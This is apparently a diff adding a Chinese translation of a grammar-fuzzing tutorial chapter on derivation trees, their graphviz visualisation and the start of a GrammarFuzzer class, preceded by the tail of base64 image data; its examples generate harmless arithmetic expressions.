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
+)
+
+我们看到（1）工作量随时间呈二次方增长，并且（2）我们可以轻松产生数万个字符长的输出。
+
+为了解决这些问题，我们需要一种*更智能的算法*-一种效率更高的算法，可以更好地控制扩展，并且可以在`expr_grammar`中预见到`(expr)`替代方案会产生 与其他两个相反，无限扩展。
+
+## 派生树
+
+为了获得更有效的算法*和*更好地控制扩展，我们将对语法产生的字符串使用特殊表示形式。 总体思路是使用*树*结构，该结构随后将进行扩展–所谓的*派生树*。 这种表示形式使我们能够始终跟踪我们的扩展状态-回答问题，例如哪些元素已扩展为其他元素以及哪些符号仍需要扩展。 此外，向树中添加新元素比一次又一次地替换字符串要有效得多。
+
+像在编程中使用的其他树一样，派生树（也称为*解析树*或*具体语法树*）由具有其他节点（称为*的*节点*）组成 ]子节点*）作为其*子节点*。 树开始于一个没有父节点的节点； 这称为*根节点*； 没有子节点的节点称为*叶*。
+
+在以下步骤中，使用语法章节中的算术语法[来说明派生树的语法扩展过程。 我们从一个树的根节点开始，代表*起始符号* –在我们的例子中是`<start>`。](Grammars.html)
+
+```py
+tree
+
+```
+
+<svg height="23pt" viewBox="0.00 0.00 48.00 23.00" width="48pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 19)"><title>root</title> <g class="node" id="node1"><title>\<start\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-3.8"><start></text></g></g></svg>
+
+为了扩展树，我们遍历它，搜索没有子元素的非终结符号$ S $。 因此，$ S $是仍然需要扩展的符号。 然后，我们从语法中选择$ S $的扩展。 然后，将扩展项添加为$ S $的新子项。 对于我们的起始符号`<start>`，唯一的扩展名是`<expr>`，因此我们将其添加为子代。
+
+```py
+tree
+
+```
+
+<svg height="74pt" viewBox="0.00 0.00 49.00 74.00" width="49pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 70)"><title>root</title> <g class="node" id="node1"><title>\<start\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-54.8"><start></text></g> <g class="node" id="node2"><title>\<expr\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-3.8"><expr></text></g> <g class="edge" id="edge1"><title>\<start\>->\<expr\></title></g></g></svg>
+
+为了从派生树构造生成的字符串，我们按顺序遍历树，并在树的叶子处收集符号。 在上述情况下，我们获得字符串`"<expr>"`。
+
+要进一步扩展树，我们选择另一个符号进行扩展，并将其扩展添加为新子代。 这将使我们获得`<expr>`符号，该符号被扩展为`<expr> + <term>`，并添加了三个子代。
+
+```py
+tree
+
+```
+
+<svg height="125pt" viewBox="0.00 0.00 139.50 125.00" width="140pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 121)"><title>root</title> <g class="node" id="node1"><title>\<start\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="67.5" y="-105.8"><start></text></g> <g class="node" id="node2"><title>\<expr\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="67.5" y="-54.8"><expr></text></g> <g class="edge" id="edge1"><title>\<start\>->\<expr\></title></g> <g class="node" id="node3"><title>\<expr\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="22.5" y="-3.8"><expr></text></g> <g class="edge" id="edge2"><title>\<expr\>->\<expr\></title></g> <g class="node" id="node4"><title>+</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="67.5" y="-3.8">+</text></g> <g class="edge" id="edge3"><title>\<expr\>->+</title></g> <g class="node" id="node5"><title>\<term\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="110.5" y="-3.8"><term></text></g> <g class="edge" id="edge4"><title>\<expr\>->\<term\></title></g></g></svg>
+
+我们重复扩展，直到没有符号可扩展为止：
+
+```py
+tree
+
+```
+
+<svg height="380pt" viewBox="0.00 0.00 153.00 380.00" width="153pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 376)"><title>root</title> <g class="node" id="node1"><title>\<start\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-360.8"><start></text></g> <g class="node" id="node2"><title>\<expr\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-309.8"><expr></text></g> <g class="edge" id="edge1"><title>\<start\>->\<expr\></title></g> <g class="node" id="node3"><title>\<expr\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29.5" y="-258.8"><expr></text></g> <g class="edge" id="edge2"><title>\<expr\>->\<expr\></title></g> <g class="node" id="node4"><title>+</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-258.8">+</text></g> <g class="edge" id="edge3"><title>\<expr\>->+</title></g> <g class="node" id="node5"><title>\<term\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="117.5" y="-258.8"><term></text></g> <g class="edge" id="edge4"><title>\<expr\>->\<term\></title></g> <g class="node" id="node6"><title>\<term\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29.5" y="-207.8"><term></text></g> <g class="edge" id="edge5"><title>\<expr\> ->\<term\></title></g> <g class="node" id="node11"><title>\<factor\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="117.5" y="-207.8"><factor></text></g> <g class="edge" id="edge10"><title>\<term\>->\<factor\></title></g> <g class="node" id="node7"><title>\<factor\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29.5" y="-156.8"><factor></text></g> <g class="edge" id="edge6"><title>\<term\> ->\<factor\></title></g> <g class="node" id="node8"><title>\<integer\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29.5" y="-105.8"><integer></text></g> <g class="edge" id="edge7"><title>\<factor\> ->\<integer\></title></g> <g class="node" id="node9"><title>\<digit\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29.5" y="-54.8"><digit></text></g> <g class="edge" id="edge8"><title>\<integer\> ->\<digit\></title></g> <g class="node" id="node10"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29.5" y="-3.8">2</text></g> <g class="edge" id="edge9"><title>\<digit\> ->2</title></g> <g class="node" id="node12"><title>\<integer\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="117.5" y="-156.8"><integer></text></g> <g class="edge" id="edge11"><title>\<factor\>->\<integer\></title></g> <g class="node" id="node13"><title>\<digit\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="117.5" y="-105.8"><digit></text></g> <g class="edge" id="edge12"><title>\<integer\>->\<digit\></title></g> <g class="node" id="node14"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="117.5" y="-54.8">2</text></g> <g class="edge" id="edge13"><title>\<digit\>->2</title></g></g></svg>
+
+现在，我们有了字符串`2 + 2`的表示形式。 但是，与单独的字符串相反，派生树记录*所生成字符串的整个结构*（和生产历史，或*派生*历史）。 它还允许进行简单的比较和操作-例如，将一个子树（子结构）替换为另一子树。
+
+## 表示派生树
+
+为了表示Python中的派生树，我们使用以下格式。 一个节点是一对
+
+```py
+(SYMBOL_NAME, CHILDREN)
+
+```
+
+其中`SYMBOL_NAME`是代表节点的字符串（即`"<start>"`或`"+"`），`CHILDREN`是子节点的列表。
+
+`CHILDREN`可以采用一些特殊值：
+
+1.  `None`作为将来扩展的占位符。 这意味着该节点是*非终端符号*，应进一步扩展。
+2.  `[]`（即空白列表），表示没有*个*子级。 这意味着该节点是无法再扩展的*终端符号*。
+
+让我们采用一个非常简单的派生树，表示上面的中间步骤`<expr> + <term>`。
+
+```py
+derivation_tree = ("<start>",
+                   [("<expr>",
+                     [("<expr>", None),
+                      (" + ", []),
+                         ("<term>", None)]
+                     )])
+
+```
+
+为了更好地理解该树的结构，让我们介绍一个可视化该树的函数。 我们通过算法使用`graphviz`包中的`dot`绘图程序，遍历上述结构。 （除非您对树的可视化非常感兴趣，可以直接跳到下面的示例。）
+
+```py
+from [graphviz](https://docs.python.org/3/library/graphviz.html) import Digraph
+
+```
+
+```py
+from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import display
+
+```
+
+```py
+import [re](https://docs.python.org/3/library/re.html)
+
+```
+
+```py
+def dot_escape(s):
+    """Return s in a form suitable for dot"""
+    s = re.sub(r'([^a-zA-Z0-9" ])', r"\\\1", s)
+    return s
+
+```
+
+```py
+assert dot_escape("hello") == "hello"
+assert dot_escape("<hello>, world") == "\\<hello\\>\\, world"
+assert dot_escape("\\n") == "\\\\n"
+
+```
+
+尽管我们目前对可视化`derivation_tree`感兴趣，但对可视化过程进行一般化也符合我们的利益。 特别是，如果我们的方法`display_tree()`可以显示*任何*树之类的数据结构，则将很有帮助。 为此，我们定义了一个辅助方法`extract_node()`，该方法从给定的数据结构中提取当前符号和子代。 默认实现只是从任何`derivation_tree`节点中提取符号，子级和注释。
+
+```py
+def extract_node(node, id):
+    symbol, children, *annotation = node
+    return symbol, children, ''.join(str(a) for a in annotation)
+
+```
+
+在可视化树时，通常以不同的方式显示某些节点​​很有用。 例如，有时在未处理节点和已处理节点之间进行区分很有用。 我们定义了一个帮助程序`default_node_attr()`，它提供了基本显示，可以由用户自定义。
+
+```py
+def default_node_attr(dot, nid, symbol, ann):
+    dot.node(repr(nid), dot_escape(unicode_escape(symbol)))
+
+```
+
+与节点相似，边缘也可能需要修改。 我们将`default_edge_attr()`定义为可以由用户自定义的帮助程序。
+
+```py
+def default_edge_attr(dot, start_node, stop_node):
+    dot.edge(repr(start_node), repr(stop_node))
+
+```
+
+在可视化一棵树时，有时可能希望更改树的外观。 例如，如果树是从左到右而不是从上到下布置的，则有时更容易查看树。 为此，我们定义了另一个帮助程序`default_graph_attr()`。
+
+```py
+def default_graph_attr(dot):
+    dot.attr('node', shape='plain')
+
+```
+
+最后，我们定义了一种方法`display_tree()`，该方法接受这四个函数`extract_node()`，`default_edge_attr()`，`default_node_attr()`和`default_graph_attr()`并使用它们显示树。
+
+```py
+def display_tree(derivation_tree,
+                 log=False,
+                 extract_node=extract_node,
+                 node_attr=default_node_attr,
+                 edge_attr=default_edge_attr,
+                 graph_attr=default_graph_attr):
+
+    # If we import display_tree, we also have to import its functions
+    from [graphviz](https://docs.python.org/3/library/graphviz.html) import Digraph
+
+    counter = 0
+
+    def traverse_tree(dot, tree, id=0):
+        (symbol, children, annotation) = extract_node(tree, id)
+        node_attr(dot, id, symbol, annotation)
+
+        if children:
+            for child in children:
+                nonlocal counter
+                counter += 1
+                child_id = counter
+                edge_attr(dot, id, child_id)
+                traverse_tree(dot, child, child_id)
+
+    dot = Digraph(comment="Derivation Tree")
+    graph_attr(dot)
+    traverse_tree(dot, derivation_tree)
+    if log:
+        print(dot)
+    return dot
+
+```
+
+这是我们的树可视化为：
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="125pt" viewBox="0.00 0.00 142.50 125.00" width="143pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 121)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-105.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-54.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-3.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-3.8">+</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-3.8"><term></text></g> <g class="edge" id="edge4"><title>1->4</title></g></g></svg>
+
+假设我们要自定义输出，并在其中注释某些节点和边。 这是一种方法`display_annotated_tree()`，它显示带注释的树结构，并从左到右放置图形。
+
+```py
+def display_annotated_tree(tree, a_nodes, a_edges, log=False):
+    def graph_attr(dot):
+        dot.attr('node', shape='plain')
+        dot.graph_attr['rankdir'] = 'LR'
+
+    def annotate_node(dot, nid, symbol, ann):
+        if nid in a_nodes:
+            dot.node(repr(nid), "%s (%s)" % (dot_escape(unicode_escape(symbol)), a_nodes[nid]))
+        else:
+            dot.node(repr(nid), dot_escape(unicode_escape(symbol)))
+
+    def annotate_edge(dot, start_node, stop_node):
+        if (start_node, stop_node) in a_edges:
+            dot.edge(repr(start_node), repr(stop_node),
+                     a_edges[(start_node, stop_node)])
+        else:
+            dot.edge(repr(start_node), repr(stop_node))
+
+    return display_tree(tree, log=log,
+                 node_attr=annotate_node,
+                 edge_attr=annotate_edge,
+                 graph_attr=graph_attr)
+
+```
+
+```py
+display_annotated_tree(derivation_tree, {3: 'plus'}, {(1, 3): 'op'}, log=False)
+
+```
+
+<svg height="89pt" viewBox="0.00 0.00 229.00 89.00" width="229pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 85)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-36.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="97.5" y="-36.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195" y="-69.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195" y="-36.8">+  (plus)</text></g> <g class="edge" id="edge3"><title>1->3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="143.5" y="-44.3">op</text></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195" y="-3.8"><term></text></g> <g class="edge" id="edge4"><title>1->4</title></g></g></svg>
+
+如果要查看树中的所有叶子节点，可以使用以下`all_terminals()`函数：
+
+```py
+def all_terminals(tree):
+    (symbol, children) = tree
+    if children is None:
+        # This is a nonterminal symbol not expanded yet
+        return symbol
+
+    if len(children) == 0:
+        # This is a terminal symbol
+        return symbol
+
+    # This is an expanded symbol:
+    # Concatenate all terminal symbols from all children
+    return ''.join([all_terminals(c) for c in children])
+
+```
+
+```py
+all_terminals(derivation_tree)
+
+```
+
+```py
+'<expr> + <term>'
+
+```
+
+`all_terminals()`函数返回所有叶节点的字符串表示形式。 但是，其中一些叶节点可能是由于非终结符派生空字符串所致。 对于这些，我们要返回空字符串。 因此，我们定义了一个新函数`tree_to_string()`，可从树状结构中检索出原始字符串。
+
+```py
+def tree_to_string(tree):
+    symbol, children, *_ = tree
+    if children:
+        return ''.join(tree_to_string(c) for c in children)
+    else:
+        return '' if is_nonterminal(symbol) else symbol
+
+```
+
+```py
+tree_to_string(derivation_tree)
+
+```
+
+```py
+' + '
+
+```
+
+## 扩展节点
+
+现在让我们开发一种算法，该算法采用带有未扩展符号的树（例如，上面的`derivation_tree`），然后依次扩展所有这些符号。 与早期的模糊测试类似，我们创建了`Fuzzer`的特殊子类-在本例中为`GrammarFuzzer`。 `GrammarFuzzer`得到一个语法和一个开始符号； 其他参数将在以后用于进一步控制创建并支持调试。
+
+```py
+from [Fuzzer](Fuzzer.html) import Fuzzer
+
+```
+
+```py
+class GrammarFuzzer(Fuzzer):
+    def __init__(self, grammar, start_symbol=START_SYMBOL,
+                 min_nonterminals=0, max_nonterminals=10, disp=False, log=False):
+        """Produce strings from `grammar`, starting with `start_symbol`.
+ If `min_nonterminals` or `max_nonterminals` is given, use them as limits 
+ for the number of nonterminals produced. 
+ If `disp` is set, display the intermediate derivation trees.
+ If `log` is set, show intermediate steps as text on standard output."""
+
+        self.grammar = grammar
+        self.start_symbol = start_symbol
+        self.min_nonterminals = min_nonterminals
+        self.max_nonterminals = max_nonterminals
+        self.disp = disp
+        self.log = log
+        self.check_grammar()
+
+```
+
+在下文中，我们将使用已经为[引入`MutationFuzzer`类](MutationFuzzer.html)的技巧，向`GrammarFuzzer`添加更多方法。 构造
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def new_method(self, args):
+        pass
+
+```
+
+允许我们向`GrammarFuzzer`类添加新方法`new_method()`。 （实际上，我们得到了一个新的`GrammarFuzzer`类，该类扩展了旧的类，但是对于我们所有的目的，这都没有关系。）
+
+使用此技巧，让我们定义一个辅助方法`check_grammar()`，该方法检查给定语法的一致性：
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def check_grammar(self):
+        assert self.start_symbol in self.grammar
+        assert is_valid_grammar(
+            self.grammar,
+            start_symbol=self.start_symbol,
+            supported_opts=self.supported_opts())
+
+    def supported_opts(self):
+        return set()
+
+```
+
+现在让我们定义一个辅助方法`init_tree()`，该方法仅使用开始符号来构建树：
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def init_tree(self):
+        return (self.start_symbol, None)
+
+```
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR)
+display_tree(f.init_tree())
+
+```
+
+<svg height="23pt" viewBox="0.00 0.00 48.00 23.00" width="48pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 19)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-3.8"><start></text></g></g></svg>
+
+接下来，我们将需要一个辅助函数`expansion_to_children()`，它将展开字符串并将其分解为派生树列表-字符串中的每个符号（末端或非末端）一个。 它使用`re.split()`方法将扩展字符串拆分为子节点列表：
+
+```py
+def expansion_to_children(expansion):
+    # print("Converting " + repr(expansion))
+    # strings contains all substrings -- both terminals and nonterminals such
+    # that ''.join(strings) == expansion
+
+    expansion = exp_string(expansion)
+    assert isinstance(expansion, str)
+
+    if expansion == "":  # Special case: epsilon expansion
+        return [("", [])]
+
+    strings = re.split(RE_NONTERMINAL, expansion)
+    return [(s, None) if is_nonterminal(s) else (s, [])
+            for s in strings if len(s) > 0]
+
+```
+
+```py
+expansion_to_children("<term> + <expr>")
+
+```
+
+```py
+[('<term>', None), (' + ', []), ('<expr>', None)]
+
+```
+
